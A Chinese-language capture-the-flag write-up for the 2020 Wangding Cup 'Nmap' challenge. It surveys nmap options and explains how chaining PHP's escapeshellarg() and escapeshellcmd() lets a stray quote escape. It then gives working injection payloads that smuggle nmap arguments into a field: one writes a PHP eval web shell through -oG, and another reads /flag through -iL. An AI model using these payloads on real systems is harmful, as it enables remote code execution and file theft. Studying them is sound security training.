Nmap命令利用
来自:
[网鼎杯 2020 朱雀组]Nmap
首先先熟悉一下nmap的基本命令吧:
nmap -v 127.0.0.1 给出了远程机器更详细的信息,显示冗余信息(扫描细节) nmap -iL nmaptest.txt运行带“iL 选项的nmap命令来扫描文件中列出的所有IP地址 nmap 192.168.0.* --exclude 192.168.0.100 使用“-exclude”选项来排除某些你不想要扫描的主机 nmap -A 192.168.0.101 启用操作系统和版本检测,脚本扫描和路由跟踪功能 nmap -O 127.0.0.1 使用选项“-O”和“-osscan-guess”也帮助探测操作系统信息 nmap -sA 192.168.0.101 扫描远程主机以探测该主机是否使用了包过滤器或防火墙 nmap -PN 192.168.0.101 扫描主机检测其是否受到数据包过滤软件或防火墙的保护 nmap -sP 192.168.0.* 找出网络中的在线主机 nmap -F 192.168.0.101 快速扫描,仅扫描nmap-services文件中的端口而避开所有其它的端口 nmap -f 192.168.96.4 使用小数据包发送,避免被识别出 nmap -r 192.168.0.101 不会随机的选择端口扫描 nmap -p 80,443 192.168.0.101 使用“-P”选项指定你想要扫描的端口 nmap -sV 192.168.0.101 查找主机服务版本号 nmap -PS 192.168.0.101 使用TCP ACK和TCP Syn方法来扫描远程主机(防火墙会阻断标ICMP包) nmap -Pn 192.168.96.4 目标机禁用ping,绕过ping扫描 nmap -sn 192.168.96.4 对目标进行ping检测,不进行端口扫描(发送四种报文确定目标是否存活) nmap -sS 192.168.0.101 执行一次隐蔽的扫描,安全,快 nmap -sT 192.168.0.101 使用TCP Syn扫描最常用的端口,不安全,慢 nmap -sN 192.168.0.101 执行TCP空扫描以骗过防火墙 nmap -sI 僵尸ip 目标ip 使用僵尸机对目标机发送数据包 nmap 192.168.96.4 -oX myscan.xml 对扫描结果另存在myscan.xml nmap -T1~6 192.168.96.4 设置扫描速度,一般T4足够 nmap –mtu <size> 192.168.96.4 发送的包大小,最大传输单元必须是8的整数 nmap -D <假ip> 192.168.96.4 发送参杂着假ip的数据包检测 nmap –oG 1.txt –v 192.168.1.1/24 -oG将扫描结果保存为TXT,Ctrl+C中断扫描
方法一
这里我想到以前我做到的一个题,也是nmap的利用,这里马上就想到了-oG写一句话木马进去然后爆出flag。(注意一下cmd这里用的是双引号,单引号会报错,因为有闭合机制)
开始用的:
' <?php @eval($_POST["cmd"]); ?> -oG shell.php '
显示Hacker:
估计有过滤,这里优先想到过滤了php,我们把shell.php的后缀改为phtml,前面的<?php改为短标签:
' <? @eval($_POST["cmd"]); ?> -oG shell.phtml '
应该是写进去了,直接hackbar解决:
方法二
来自:https://blog.csdn.net/qq_63701832/article/details/128793013
iL来读取flag,然后输出到指定文件,访问该文件进行读取
读取时会提示搜索内容失败,然后会写出来内容是啥,从而实现任意文件读取。
escapeshell
escapeshellarg()
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数,保证其作为参数的安全性。
用转义符转义所有单引号,然后用单引号包裹
123' aa变为'123'\'' aa'
escapeshellcmd()
escapeshellcmd - 把字符串中可能欺骗shell命令的字符转义, 用以保证送到system函数或者exec函数的字符串是安全的。
不光这些字符,转义符本身还有落单的引号也会被转义。
'123'\'' aa'变为'123'\\'' aa\'
因为转义符被转义,最后的引号便落单,逃逸了出去。这个时候,被输入的字符串不再被当成单个参数处理(不再有引号包裹), 即逃出了这两个函数。
看看seebug平台上面的具体案例 传入的参数是:172.17.0.2' -v -d a=1 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
payload
127.0.0.1' -iL /flag -o coleak
注意文件末尾有个逃逸的单引号